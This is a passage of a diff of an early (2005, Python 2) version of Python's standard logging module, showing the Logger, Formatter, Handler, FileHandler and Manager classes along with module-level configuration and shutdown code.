f.f_code - filename = os.path.normcase(co.co_filename) - if filename == _srcfile: - f = f.f_back - continue - return filename, f.f_lineno, co.co_name - - def makeRecord(self, name, level, fn, lno, msg, args, exc_info): - """ - A factory method which can be overridden in subclasses to create - specialized LogRecords. - """ - return LogRecord(name, level, fn, lno, msg, args, exc_info) - - def _log(self, level, msg, args, exc_info=None): - """ - Low-level logging routine which creates a LogRecord and then calls - all the handlers of this logger to handle the record. - """ - if _srcfile: - fn, lno, func = self.findCaller() - else: - fn, lno, func = "(unknown file)", 0, "(unknown function)" - if exc_info: - if type(exc_info) != types.TupleType: - exc_info = sys.exc_info() - record = self.makeRecord(self.name, level, fn, lno, msg, args, exc_info) - self.handle(record) - - def handle(self, record): - """ - Call the handlers for the specified record. - - This method is used for unpickled records received from a socket, as - well as those created locally. Logger-level filtering is applied. - """ - if (not self.disabled) and self.filter(record): - self.callHandlers(record) - - def addHandler(self, hdlr): - """ - Add the specified handler to this logger. - """ - if not (hdlr in self.handlers): - self.handlers.append(hdlr) - - def removeHandler(self, hdlr): - """ - Remove the specified handler from this logger. - """ - if hdlr in self.handlers: - #hdlr.close() - self.handlers.remove(hdlr) - - def callHandlers(self, record): - """ - Pass a record to all relevant handlers. - - Loop through all handlers for this logger and its parents in the - logger hierarchy. If no handler was found, output a one-off error - message to sys.stderr. Stop searching up the hierarchy whenever a - logger with the "propagate" attribute set to zero is found - that - will be the last logger whose handlers are called. - """ - c = self - found = 0 - while c: - for hdlr in c.handlers: - found = found + 1 - if record.levelno >= hdlr.level: - hdlr.handle(record) - if not c.propagate: - c = None #break out - else: - c = c.parent - if (found == 0) and not self.manager.emittedNoHandlerWarning: - sys.stderr.write("No handlers could be found for logger" - " \"%s\"\n" % self.name) - self.manager.emittedNoHandlerWarning = 1 - - def getEffectiveLevel(self): - """ - Get the effective level for this logger. - - Loop through this logger and its parents in the logger hierarchy, - looking for a non-zero logging level. Return the first one found. - """ - logger = self - while logger: - if logger.level: - return logger.level - logger = logger.parent - return NOTSET - - def isEnabledFor(self, level): - """ - Is this logger enabled for level 'level'? - """ - if self.manager.disable >= level: - return 0 - return level >= self.getEffectiveLevel() - -class RootLogger(Logger): - """ - A root logger is not that different to any other logger, except that - it must have a logging level and there is only one instance of it in - the hierarchy. - """ - def __init__(self, level): - """ - Initialize the logger with the name "root". - """ - Logger.__init__(self, "root", level) - -_loggerClass = Logger - -root = RootLogger(WARNING) -Logger.root = root -Logger.manager = Manager(Logger.root) - -#--------------------------------------------------------------------------- -# Configuration classes and functions -#--------------------------------------------------------------------------- - -BASIC_FORMAT = "%(levelname)s:%(name)s:%(message)s" - -def basicConfig(**kwargs): - """ - Do basic configuration for the logging system. - - This function does nothing if the root logger already has handlers - configured. It is a convenience method intended for use by simple scripts - to do one-shot configuration of the logging package. - - The default behaviour is to create a StreamHandler which writes to - sys.stderr, set a formatter using the BASIC_FORMAT format string, and - add the handler to the root logger. - - A number of optional keyword arguments may be specified, which can alter - the default behaviour. - - filename Specifies that a FileHandler be created, using the specified - filename, rather than a StreamHandler. - filemode Specifies the mode to open the file, if filename is specified - (if filemode is unspecified, it defaults to 'a'). - format Use the specified format string for the handler. - datefmt Use the specified date/time format. - level Set the root logger level to the specified level. - stream Use the specified stream to initialize the StreamHandler. Note - that this argument is incompatible with 'filename' - if both - are present, 'stream' is ignored. - - Note that you could specify a stream created using open(filename, mode) - rather than passing the filename and mode in. However, it should be - remembered that StreamHandler does not close its stream (since it may be - using sys.stdout or sys.stderr), whereas FileHandler closes its stream - when the handler is closed. - """ - if len(root.handlers) == 0: - filename = kwargs.get("filename") - if filename: - mode = kwargs.get("filemode", 'a') - hdlr = FileHandler(filename, mode) - else: - stream = kwargs.get("stream") - hdlr = StreamHandler(stream) - fs = kwargs.get("format", BASIC_FORMAT) - dfs = kwargs.get("datefmt", None) - fmt = Formatter(fs, dfs) - hdlr.setFormatter(fmt) - root.addHandler(hdlr) - level = kwargs.get("level") - if level: - root.setLevel(level) - -#--------------------------------------------------------------------------- -# Utility functions at module level. -# Basically delegate everything to the root logger. -#--------------------------------------------------------------------------- - -def getLogger(name=None): - """ - Return a logger with the specified name, creating it if necessary. - - If no name is specified, return the root logger. - """ - if name: - return Logger.manager.getLogger(name) - else: - return root - -#def getRootLogger(): -# """ -# Return the root logger. -# -# Note that getLogger('') now does the same thing, so this function is -# deprecated and may disappear in the future. -# """ -# return root - -def critical(msg, *args, **kwargs): - """ - Log a message with severity 'CRITICAL' on the root logger. - """ - if len(root.handlers) == 0: - basicConfig() - apply(root.critical, (msg,)+args, kwargs) - -fatal = critical - -def error(msg, *args, **kwargs): - """ - Log a message with severity 'ERROR' on the root logger. - """ - if len(root.handlers) == 0: - basicConfig() - apply(root.error, (msg,)+args, kwargs) - -def exception(msg, *args): - """ - Log a message with severity 'ERROR' on the root logger, - with exception information. - """ - apply(error, (msg,)+args, {'exc_info': 1}) - -def warning(msg, *args, **kwargs): - """ - Log a message with severity 'WARNING' on the root logger. - """ - if len(root.handlers) == 0: - basicConfig() - apply(root.warning, (msg,)+args, kwargs) - -warn = warning - -def info(msg, *args, **kwargs): - """ - Log a message with severity 'INFO' on the root logger. - """ - if len(root.handlers) == 0: - basicConfig() - apply(root.info, (msg,)+args, kwargs) - -def debug(msg, *args, **kwargs): - """ - Log a message with severity 'DEBUG' on the root logger. - """ - if len(root.handlers) == 0: - basicConfig() - apply(root.debug, (msg,)+args, kwargs) - -def log(level, msg, *args, **kwargs): - """ - Log 'msg % args' with the integer severity 'level' on the root logger. - """ - if len(root.handlers) == 0: - basicConfig() - apply(root.log, (level, msg)+args, kwargs) - -def disable(level): - """ - Disable all logging calls less severe than 'level'. - """ - root.manager.disable = level - -def shutdown(): - """ - Perform any cleanup actions in the logging system (e.g. flushing - buffers). - - Should be called at application exit. - """ - for h in _handlers.keys(): - #errors might occur, for example, if files are locked - #we just ignore them - try: - h.flush() - h.close() - except: - pass - -#Let's try and shutdown automatically on application exit... -try: - import atexit - atexit.register(shutdown) -except ImportError: # for Python versions < 2.0 - def exithook(status, old_exit=sys.exit): - try: - shutdown() - finally: - old_exit(status) - - sys.exit = exithook +# Copyright 2001-2005 by Vinay Sajip. All Rights Reserved. +# +# Permission to use, copy, modify, and distribute this software and its +# documentation for any purpose and without fee is hereby granted, +# provided that the above copyright notice appear in all copies and that +# both that copyright notice and this permission notice appear in +# supporting documentation, and that the name of Vinay Sajip +# not be used in advertising or publicity pertaining to distribution +# of the software without specific, written prior permission. +# VINAY SAJIP DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING +# ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL +# VINAY SAJIP BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR +# ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER +# IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT +# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. + +""" +Logging package for Python. Based on PEP 282 and comments thereto in +comp.lang.python, and influenced by Apache's log4j system. + +Should work under Python versions >= 1.5.2, except that source line +information is not available unless 'sys._getframe()' is. + +Copyright (C) 2001-2004 Vinay Sajip. All Rights Reserved. + +To use, simply 'import logging' and log away! +""" + +import sys, os, types, time, string, cStringIO + +try: + import codecs +except ImportError: + codecs = None + +try: + import thread + import threading +except ImportError: + thread = None + +__author__ = "Vinay Sajip " +__status__ = "beta" +__version__ = "0.4.9.6" +__date__ = "02 March 2005" + +#--------------------------------------------------------------------------- +# Miscellaneous module data +#--------------------------------------------------------------------------- + +# +# _srcfile is used when walking the stack to check when we've got the first +# caller stack frame. +# +if string.lower(__file__[-4:]) in ['.pyc', '.pyo']: + _srcfile = __file__[:-4] + '.py' +else: + _srcfile = __file__ +_srcfile = os.path.normcase(_srcfile) + +# next bit filched from 1.5.2's inspect.py +def currentframe(): + """Return the frame object for the caller's stack frame.""" + try: + raise 'catch me' + except: + return sys.exc_traceback.tb_frame.f_back + +if hasattr(sys, '_getframe'): currentframe = sys._getframe +# done filching + +# _srcfile is only used in conjunction with sys._getframe(). +# To provide compatibility with older versions of Python, set _srcfile +# to None if _getframe() is not available; this value will prevent +# findCaller() from being called. +#if not hasattr(sys, "_getframe"): +# _srcfile = None + +# +#_startTime is used as the base when calculating the relative time of events +# +_startTime = time.time() + +# +#raiseExceptions is used to see if exceptions during handling should be +#propagated +# +raiseExceptions = 1 + +#--------------------------------------------------------------------------- +# Level related stuff +#--------------------------------------------------------------------------- +# +# Default levels and level names, these can be replaced with any positive set +# of values having corresponding names. There is a pseudo-level, NOTSET, which +# is only really there as a lower limit for user-defined levels. Handlers and +# loggers are initialized with NOTSET so that they will log all messages, even +# at user-defined levels. +# + +CRITICAL = 50 +FATAL = CRITICAL +ERROR = 40 +WARNING = 30 +WARN = WARNING +INFO = 20 +DEBUG = 10 +NOTSET = 0 + +_levelNames = { + CRITICAL : 'CRITICAL', + ERROR : 'ERROR', + WARNING : 'WARNING', + INFO : 'INFO', + DEBUG : 'DEBUG', + NOTSET : 'NOTSET', + 'CRITICAL' : CRITICAL, + 'ERROR' : ERROR, + 'WARN' : WARNING, + 'WARNING' : WARNING, + 'INFO' : INFO, + 'DEBUG' : DEBUG, + 'NOTSET' : NOTSET, +} + +def getLevelName(level): + """ + Return the textual representation of logging level 'level'. + + If the level is one of the predefined levels (CRITICAL, ERROR, WARNING, + INFO, DEBUG) then you get the corresponding string. If you have + associated levels with names using addLevelName then the name you have + associated with 'level' is returned. + + If a numeric value corresponding to one of the defined levels is passed + in, the corresponding string representation is returned. + + Otherwise, the string "Level %s" % level is returned. + """ + return _levelNames.get(level, ("Level %s" % level)) + +def addLevelName(level, levelName): + """ + Associate 'levelName' with 'level'. + + This is used when converting levels to text during message formatting. + """ + _acquireLock() + try: #unlikely to cause an exception, but you never know... + _levelNames[level] = levelName + _levelNames[levelName] = level + finally: + _releaseLock() + +#--------------------------------------------------------------------------- +# Thread-related stuff +#--------------------------------------------------------------------------- + +# +#_lock is used to serialize access to shared data structures in this module. +#This needs to be an RLock because fileConfig() creates Handlers and so +#might arbitrary user threads. Since Handler.__init__() updates the shared +#dictionary _handlers, it needs to acquire the lock. But if configuring, +#the lock would already have been acquired - so we need an RLock. +#The same argument applies to Loggers and Manager.loggerDict. +# +_lock = None + +def _acquireLock(): + """ + Acquire the module-level lock for serializing access to shared data. + + This should be released with _releaseLock(). + """ + global _lock + if (not _lock) and thread: + _lock = threading.RLock() + if _lock: + _lock.acquire() + +def _releaseLock(): + """ + Release the module-level lock acquired by calling _acquireLock(). + """ + if _lock: + _lock.release() + +#--------------------------------------------------------------------------- +# The logging record +#--------------------------------------------------------------------------- + +class LogRecord: + """ + A LogRecord instance represents an event being logged. + + LogRecord instances are created every time something is logged. They + contain all the information pertinent to the event being logged. The + main information passed in is in msg and args, which are combined + using str(msg) % args to create the message field of the record. The + record also includes information such as when the record was created, + the source line where the logging call was made, and any exception + information to be logged. + """ + def __init__(self, name, level, pathname, lineno, msg, args, exc_info): + """ + Initialize a logging record with interesting information. + """ + ct = time.time() + self.name = name + self.msg = msg + # + # The following statement allows passing of a dictionary as a sole + # argument, so that you can do something like + # logging.debug("a %(a)d b %(b)s", {'a':1, 'b':2}) + # Suggested by Stefan Behnel. + # Note that without the test for args[0], we get a problem because + # during formatting, we test to see if the arg is present using + # 'if self.args:'. If the event being logged is e.g. 'Value is %d' + # and if the passed arg fails 'if self.args:' then no formatting + # is done. For example, logger.warn('Value is %d', 0) would log + # 'Value is %d' instead of 'Value is 0'. + # For the use case of passing a dictionary, this should not be a + # problem. + if args and (len(args) == 1) and args[0] and (type(args[0]) == types.DictType): + args = args[0] + self.args = args + self.levelname = getLevelName(level) + self.levelno = level + self.pathname = pathname + try: + self.filename = os.path.basename(pathname) + self.module = os.path.splitext(self.filename)[0] + except: + self.filename = pathname + self.module = "Unknown module" + self.exc_info = exc_info + self.exc_text = None # used to cache the traceback text + self.lineno = lineno + self.created = ct + self.msecs = (ct - long(ct)) * 1000 + self.relativeCreated = (self.created - _startTime) * 1000 + if thread: + self.thread = thread.get_ident() + else: + self.thread = None + if hasattr(os, 'getpid'): + self.process = os.getpid() + else: + self.process = None + + def __str__(self): + return ''%(self.name, self.levelno, + self.pathname, self.lineno, self.msg) + + def getMessage(self): + """ + Return the message for this LogRecord. + + Return the message for this LogRecord after merging any user-supplied + arguments with the message. + """ + if not hasattr(types, "UnicodeType"): #if no unicode support... + msg = str(self.msg) + else: + try: + msg = str(self.msg) + except UnicodeError: + msg = self.msg #Defer encoding till later + if self.args: + msg = msg % self.args + return msg + +def makeLogRecord(dict): + """ + Make a LogRecord whose attributes are defined by the specified dictionary, + This function is useful for converting a logging event received over + a socket connection (which is sent as a dictionary) into a LogRecord + instance. + """ + rv = LogRecord(None, None, "", 0, "", (), None) + rv.__dict__.update(dict) + return rv + +#--------------------------------------------------------------------------- +# Formatter classes and functions +#--------------------------------------------------------------------------- + +class Formatter: + """ + Formatter instances are used to convert a LogRecord to text. + + Formatters need to know how a LogRecord is constructed. They are + responsible for converting a LogRecord to (usually) a string which can + be interpreted by either a human or an external system. The base Formatter + allows a formatting string to be specified. If none is supplied, the + default value of "%s(message)\\n" is used. + + The Formatter can be initialized with a format string which makes use of + knowledge of the LogRecord attributes - e.g. the default value mentioned + above makes use of the fact that the user's message and arguments are pre- + formatted into a LogRecord's message attribute. Currently, the useful + attributes in a LogRecord are described by: + + %(name)s Name of the logger (logging channel) + %(levelno)s Numeric logging level for the message (DEBUG, INFO, + WARNING, ERROR, CRITICAL) + %(levelname)s Text logging level for the message ("DEBUG", "INFO", + "WARNING", "ERROR", "CRITICAL") + %(pathname)s Full pathname of the source file where the logging + call was issued (if available) + %(filename)s Filename portion of pathname + %(module)s Module (name portion of filename) + %(lineno)d Source line number where the logging call was issued + (if available) + %(created)f Time when the LogRecord was created (time.time() + return value) + %(asctime)s Textual time when the LogRecord was created + %(msecs)d Millisecond portion of the creation time + %(relativeCreated)d Time in milliseconds when the LogRecord was created, + relative to the time the logging module was loaded + (typically at application startup time) + %(thread)d Thread ID (if available) + %(process)d Process ID (if available) + %(message)s The result of record.getMessage(), computed just as + the record is emitted + """ + + converter = time.localtime + + def __init__(self, fmt=None, datefmt=None): + """ + Initialize the formatter with specified format strings. + + Initialize the formatter either with the specified format string, or a + default as described above. Allow for specialized date formatting with + the optional datefmt argument (if omitted, you get the ISO8601 format). + """ + if fmt: + self._fmt = fmt + else: + self._fmt = "%(message)s" + self.datefmt = datefmt + + def formatTime(self, record, datefmt=None): + """ + Return the creation time of the specified LogRecord as formatted text. + + This method should be called from format() by a formatter which + wants to make use of a formatted time. This method can be overridden + in formatters to provide for any specific requirement, but the + basic behaviour is as follows: if datefmt (a string) is specified, + it is used with time.strftime() to format the creation time of the + record. Otherwise, the ISO8601 format is used. The resulting + string is returned. This function uses a user-configurable function + to convert the creation time to a tuple. By default, time.localtime() + is used; to change this for a particular formatter instance, set the + 'converter' attribute to a function with the same signature as + time.localtime() or time.gmtime(). To change it for all formatters, + for example if you want all logging times to be shown in GMT, + set the 'converter' attribute in the Formatter class. + """ + ct = self.converter(record.created) + if datefmt: + s = time.strftime(datefmt, ct) + else: + t = time.strftime("%Y-%m-%d %H:%M:%S", ct) + s = "%s,%03d" % (t, record.msecs) + return s + + def formatException(self, ei): + """ + Format and return the specified exception information as a string. + + This default implementation just uses + traceback.print_exception() + """ + import traceback + sio = cStringIO.StringIO() + traceback.print_exception(ei[0], ei[1], ei[2], None, sio) + s = sio.getvalue() + sio.close() + if s[-1] == "\n": + s = s[:-1] + return s + + def format(self, record): + """ + Format the specified record as text. + + The record's attribute dictionary is used as the operand to a + string formatting operation which yields the returned string. + Before formatting the dictionary, a couple of preparatory steps + are carried out. The message attribute of the record is computed + using LogRecord.getMessage(). If the formatting string contains + "%(asctime)", formatTime() is called to format the event time. + If there is exception information, it is formatted using + formatException() and appended to the message. + """ + record.message = record.getMessage() + if string.find(self._fmt,"%(asctime)") >= 0: + record.asctime = self.formatTime(record, self.datefmt) + s = self._fmt % record.__dict__ + if record.exc_info: + # Cache the traceback text to avoid converting it multiple times + # (it's constant anyway) + if not record.exc_text: + record.exc_text = self.formatException(record.exc_info) + if record.exc_text: + if s[-1] != "\n": + s = s + "\n" + s = s + record.exc_text + return s + +# +# The default formatter to use when no other is specified +# +_defaultFormatter = Formatter() + +class BufferingFormatter: + """ + A formatter suitable for formatting a number of records. + """ + def __init__(self, linefmt=None): + """ + Optionally specify a formatter which will be used to format each + individual record. + """ + if linefmt: + self.linefmt = linefmt + else: + self.linefmt = _defaultFormatter + + def formatHeader(self, records): + """ + Return the header string for the specified records. + """ + return "" + + def formatFooter(self, records): + """ + Return the footer string for the specified records. + """ + return "" + + def format(self, records): + """ + Format the specified records and return the result as a string. + """ + rv = "" + if len(records) > 0: + rv = rv + self.formatHeader(records) + for record in records: + rv = rv + self.linefmt.format(record) + rv = rv + self.formatFooter(records) + return rv + +#--------------------------------------------------------------------------- +# Filter classes and functions +#--------------------------------------------------------------------------- + +class Filter: + """ + Filter instances are used to perform arbitrary filtering of LogRecords. + + Loggers and Handlers can optionally use Filter instances to filter + records as desired. The base filter class only allows events which are + below a certain point in the logger hierarchy. For example, a filter + initialized with "A.B" will allow events logged by loggers "A.B", + "A.B.C", "A.B.C.D", "A.B.D" etc. but not "A.BB", "B.A.B" etc. If + initialized with the empty string, all events are passed. + """ + def __init__(self, name=''): + """ + Initialize a filter. + + Initialize with the name of the logger which, together with its + children, will have its events allowed through the filter. If no + name is specified, allow every event. + """ + self.name = name + self.nlen = len(name) + + def filter(self, record): + """ + Determine if the specified record is to be logged. + + Is the specified record to be logged? Returns 0 for no, nonzero for + yes. If deemed appropriate, the record may be modified in-place. + """ + if self.nlen == 0: + return 1 + elif self.name == record.name: + return 1 + elif string.find(record.name, self.name, 0, self.nlen) != 0: + return 0 + return (record.name[self.nlen] == ".") + +class Filterer: + """ + A base class for loggers and handlers which allows them to share + common code. + """ + def __init__(self): + """ + Initialize the list of filters to be an empty list. + """ + self.filters = [] + + def addFilter(self, filter): + """ + Add the specified filter to this handler. + """ + if not (filter in self.filters): + self.filters.append(filter) + + def removeFilter(self, filter): + """ + Remove the specified filter from this handler. + """ + if filter in self.filters: + self.filters.remove(filter) + + def filter(self, record): + """ + Determine if a record is loggable by consulting all the filters. + + The default is to allow the record to be logged; any filter can veto + this and the record is then dropped. Returns a zero value if a record + is to be dropped, else non-zero. + """ + rv = 1 + for f in self.filters: + if not f.filter(record): + rv = 0 + break + return rv + +#--------------------------------------------------------------------------- +# Handler classes and functions +#--------------------------------------------------------------------------- + +_handlers = {} #repository of handlers (for flushing when shutdown called) + +class Handler(Filterer): + """ + Handler instances dispatch logging events to specific destinations. + + The base handler class. Acts as a placeholder which defines the Handler + interface. Handlers can optionally use Formatter instances to format + records as desired. By default, no formatter is specified; in this case, + the 'raw' message as determined by record.message is logged. + """ + def __init__(self, level=NOTSET): + """ + Initializes the instance - basically setting the formatter to None + and the filter list to empty. + """ + Filterer.__init__(self) + self.level = level + self.formatter = None + #get the module data lock, as we're updating a shared structure. + _acquireLock() + try: #unlikely to raise an exception, but you never know... + _handlers[self] = 1 + finally: + _releaseLock() + self.createLock() + + def createLock(self): + """ + Acquire a thread lock for serializing access to the underlying I/O. + """ + if thread: + self.lock = thread.allocate_lock() + else: + self.lock = None + + def acquire(self): + """ + Acquire the I/O thread lock. + """ + if self.lock: + self.lock.acquire() + + def release(self): + """ + Release the I/O thread lock. + """ + if self.lock: + self.lock.release() + + def setLevel(self, level): + """ + Set the logging level of this handler. + """ + self.level = level + + def format(self, record): + """ + Format the specified record. + + If a formatter is set, use it. Otherwise, use the default formatter + for the module. + """ + if self.formatter: + fmt = self.formatter + else: + fmt = _defaultFormatter + return fmt.format(record) + + def emit(self, record): + """ + Do whatever it takes to actually log the specified logging record. + + This version is intended to be implemented by subclasses and so + raises a NotImplementedError. + """ + raise NotImplementedError, 'emit must be implemented '\ + 'by Handler subclasses' + + def handle(self, record): + """ + Conditionally emit the specified logging record. + + Emission depends on filters which may have been added to the handler. + Wrap the actual emission of the record with acquisition/release of + the I/O thread lock. Returns whether the filter passed the record for + emission. + """ + rv = self.filter(record) + if rv: + self.acquire() + try: + self.emit(record) + finally: + self.release() + return rv + + def setFormatter(self, fmt): + """ + Set the formatter for this handler. + """ + self.formatter = fmt + + def flush(self): + """ + Ensure all logging output has been flushed. + + This version does nothing and is intended to be implemented by + subclasses. + """ + pass + + def close(self): + """ + Tidy up any resources used by the handler. + + This version does removes the handler from an internal list + of handlers which is closed when shutdown() is called. Subclasses + should ensure that this gets called from overridden close() + methods. + """ + #get the module data lock, as we're updating a shared structure. + _acquireLock() + try: #unlikely to raise an exception, but you never know... + del _handlers[self] + finally: + _releaseLock() + + def handleError(self, record): + """ + Handle errors which occur during an emit() call. + + This method should be called from handlers when an exception is + encountered during an emit() call. If raiseExceptions is false, + exceptions get silently ignored. This is what is mostly wanted + for a logging system - most users will not care about errors in + the logging system, they are more interested in application errors. + You could, however, replace this with a custom handler if you wish. + The record which was being processed is passed in to this method. + """ + if raiseExceptions: + import traceback + ei = sys.exc_info() + traceback.print_exception(ei[0], ei[1], ei[2], None, sys.stderr) + del ei + +class StreamHandler(Handler): + """ + A handler class which writes logging records, appropriately formatted, + to a stream. Note that this class does not close the stream, as + sys.stdout or sys.stderr may be used. + """ + def __init__(self, strm=None): + """ + Initialize the handler. + + If strm is not specified, sys.stderr is used. + """ + Handler.__init__(self) + if not strm: + strm = sys.stderr + self.stream = strm + self.formatter = None + + def flush(self): + """ + Flushes the stream. + """ + self.stream.flush() + + def emit(self, record): + """ + Emit a record. + + If a formatter is specified, it is used to format the record. + The record is then written to the stream with a trailing newline + [N.B. this may be removed depending on feedback]. If exception + information is present, it is formatted using + traceback.print_exception and appended to the stream. + """ + try: + msg = self.format(record) + fs = "%s\n" + if not hasattr(types, "UnicodeType"): #if no unicode support... + self.stream.write(fs % msg) + else: + try: + self.stream.write(fs % msg) + except UnicodeError: + self.stream.write(fs % msg.encode("UTF-8")) + self.flush() + except: + self.handleError(record) + +class FileHandler(StreamHandler): + """ + A handler class which writes formatted logging records to disk files. + """ + def __init__(self, filename, mode='a', encoding=None): + """ + Open the specified file and use it as the stream for logging. + """ + if codecs is None: + encoding = None + if encoding is None: + stream = open(filename, mode) + else: + stream = codecs.open(filename, mode, encoding) + StreamHandler.__init__(self, stream) + #keep the absolute path, otherwise derived classes which use this + #may come a cropper when the current directory changes + self.baseFilename = os.path.abspath(filename) + self.mode = mode + + def close(self): + """ + Closes the stream. + """ + self.flush() + self.stream.close() + StreamHandler.close(self) + +#--------------------------------------------------------------------------- +# Manager classes and functions +#--------------------------------------------------------------------------- + +class PlaceHolder: + """ + PlaceHolder instances are used in the Manager logger hierarchy to take + the place of nodes for which no loggers have been defined. This class is + intended for internal use only and not as part of the public API. + """ + def __init__(self, alogger): + """ + Initialize with the specified logger being a child of this placeholder. + """ + self.loggers = [alogger] + + def append(self, alogger): + """ + Add the specified logger as a child of this placeholder. + """ + if alogger not in self.loggers: + self.loggers.append(alogger) + +# +# Determine which class to use when instantiating loggers. +# +_loggerClass = None + +def setLoggerClass(klass): + """ + Set the class to be used when instantiating a logger. The class should + define __init__() such that only a name argument is required, and the + __init__() should call Logger.__init__() + """ + if klass != Logger: + if not issubclass(klass, Logger): + raise TypeError, "logger not derived from logging.Logger: " + \ + klass.__name__ + global _loggerClass + _loggerClass = klass + +def getLoggerClass(): + """ + Return the class to be used when instantiating a logger. + """ + + return _loggerClass + +class Manager: + """ + There is [under normal circumstances] just one Manager instance, which + holds the hierarchy of loggers. + """ + def __init__(self, rootnode): + """ + Initialize the manager with the root node of the logger hierarchy. + """ + self.root = rootnode + self.disable = 0 + self.emittedNoHandlerWarning = 0 + self.loggerDict = {} + + def getLogger(self, name): + """ + Get a logger with the specified name (channel name), creating it + if it doesn't yet exist. This name is a dot-separated hierarchical + name, such as "a", "a.b", "a.b.c" or similar. + + If a PlaceHolder existed for the specified name [i.e. the logger + didn't exist but a child of it did], replace it with the created + logger and fix up the parent/child references which pointed to the + placeholder to now point to the logger. + """ + rv = None + _acquireLock() + try: + if self.loggerDict.has_key(name): + rv = self.loggerDict[name] + if isinstance(rv, PlaceHolder): + ph = rv + rv = _loggerClass(name) + rv.manager = self + self.loggerDict[name] = rv + self._fixupChildren(ph, rv) + self._fixupParents(rv) + else: + rv = _loggerClass(name) + rv.manager = self + self.loggerDict[name] = rv + self._fixupParents(rv) + finally: + _releaseLock() + return rv + + def _fixupParents(self, alogger): + """ + Ensure that there are either loggers or placeholders all the way + from the specified logger to the root of the logger hierarchy. + """ + name = alogger.name + i = string.rfind(name, ".") + rv = None + while (i > 0) and not rv: + substr = name[:i] + if not self.loggerDict.has_key(substr): + self.loggerDict[substr] = PlaceHolder(alogger) + else: + obj = self.loggerDict[substr] + if isinstance(obj, Logger): + rv = obj + else: + assert isinstance(obj, PlaceHolder) + obj.append(alogger) + i = string.rfind(name, ".", 0, i - 1) + if not rv: + rv = self.root + alogger.parent = rv + + def _fixupChildren(self, ph, alogger): + """ + Ensure that children of the placeholder ph are connected to the + specified logger. + """ + for c in ph.loggers: + if string.find(c.parent.name, alogger.name) <> 0: + alogger.parent = c.parent + c.parent = alogger + +#--------------------------------------------------------------------------- +# Logger classes and functions +#--------------------------------------------------------------------------- + +class Logger(Filterer): + """ + Instances of the Logger class represent a single logging channel. A + "logging channel" indicates an area of an application. Exactly how an + "area" is defined is up to the application developer. Since an + application can have any number of areas, logging channels are identified + by a unique string. Application areas can be nested (e.g. an area + of "input processing" might include sub-areas "read CSV files", "read + XLS files" and "read Gnumeric files"). To cater for this natural nesting, + channel names are organized into a namespace hierarchy where levels are + separated by periods, much like the Java or Python package namespace. So + in the instance given above, channel names might be "input" for the upper + level, and "input.csv", "input.xls" and "input.gnu" for the sub-levels. + There is no arbitrary limit to the depth of nesting. + """ + def __init__(self, name, level=NOTSET): + """ + Initialize the logger with a name and an optional level. + """ + Filterer.__init__(self) + self.name = name + self.level = level + self.parent = None + self.propagate = 1 + self.handlers = [] + self.disabled = 0 + + def setLevel(self, level): + """ + Set the logging level of this logger. + """ + self.level = level + + def debug(self, msg, *args, **kwargs): + """ + Log 'msg % args' with severity 'DEBUG'. + + To pass exception information, use the keyword argument exc_info with + a true value, e.g. + + logger.debug("Houston, we have a %s", "thorny problem", exc_info=1) + """ + if self.manager.disable >= DEBUG: + return + if DEBUG >= self.getEffectiveLevel(): + apply(self._log, (DEBUG, msg, args), kwargs) + + def info(self, msg, *args, **kwargs): + """ + Log 'msg % args' with severity 'INFO'. + + To pass exception information, use the keyword argument exc_info with + a true value, e.g. + + logger.info("Houston, we have a %s", "interesting problem", exc_info=1) + """ + if self.manager.disable >= INFO: + return + if INFO >= self.getEffectiveLevel(): + apply(self._log, (INFO, msg, args), kwargs) + + def warning(self, msg, *args, **kwargs): + """ + Log 'msg % args' with severity 'WARNING'. + + To pass exception information, use the keyword argument exc_info with + a true value, e.g. + + logger.warning("Houston, we have a %s", "bit of a problem", exc_info=1) + """ + if self.manager.disable >= WARNING: + return + if self.isEnabledFor(WARNING): + apply(self._log, (WARNING, msg, args), kwargs) + + warn = warning + + def error(self, msg, *args, **kwargs): + """ + Log 'msg % args' with severity 'ERROR'. + + To pass exception information, use the keyword argument exc_info with + a true value, e.g. + + logger.error("Houston, we have a %s", "major problem", exc_info=1) + """ + if self.manager.disable >= ERROR: + return + if self.isEnabledFor(ERROR): + apply(self._log, (ERROR, msg, args), kwargs) + + def exception(self, msg, *args): + """ + Convenience method for logging an ERROR with exception information. + """ + apply(self.error, (msg,) + args, {'exc_info': 1}) + + def critical(self, msg, *args, **kwargs): + """ + Log 'msg % args' with severity 'CRITICAL'. + + To pass exception information, use the keyword argument exc_info with + a true value, e.g. + + logger.critical("Houston, we have a %s", "major disaster", exc_info=1) + """ + if self.manager.disable >= CRITICAL: + return + if CRITICAL >= self.getEffectiveLevel(): + apply(self._log, (CRITICAL, msg, args), kwargs) + + fatal = critical + + def log(self, level, msg, *args, **kwargs): + """ + Log 'msg % args' with the integer severity 'level'. + + To pass exception information, use the keyword argument exc_info with + a true value, e.g. + + logger.log(level, "We have a %s", "mysterious problem", exc_info=1) + """ + if type(level) != types.IntType: + if raiseExceptions: + raise TypeError, "level must be an integer" + else: + return + if self.manager.disable >= level: + return + if self.isEnabledFor(level): + apply(self._log, (level, msg, args), kwargs) + + def findCaller(self): + """ + Find the stack frame of the caller so that we can note the source + file name, line number and function name. + """ + f = currentframe().f_back + while 1: + co = f.f_code + filename = os.path.normcase(co.co_filename) + if filename == _srcfile: + f = f.f_back + continue + return filename, f.f_lineno, co.co_name + + def makeRecord(self, name, level, fn, lno, msg, args, exc_info): + """ + A factory method which can be overridden in subclasses to create + specialized LogRecords. + """ + return LogRecord(name, level, fn, lno, msg, args, exc_info) + + def _log(self, level, msg, args, exc_info=None): + """ + Low-level logging routine which creates a LogRecord and then calls + all the handlers of this logger to handle the record. + """ + if _srcfile: + fn, lno, func = self.findCaller() + else: + fn, lno, func = "(unknown file)", 0, "(unknown function)" + if exc_info: + if type(exc_info) != types.TupleType: + exc_info = sys.exc_info() + record = self.makeRecord(self.name, level, fn, lno, msg, args, exc_info) + self.handle(record) + + def handle(self, record): + """ + Call the handlers for the specified record. + + This method is used for unpickled records received from a socket, as + well as those created locally. Logger-level filtering is applied. + """ + if (not self.disabled) and self.filter(record): + self.callHandlers(record) + 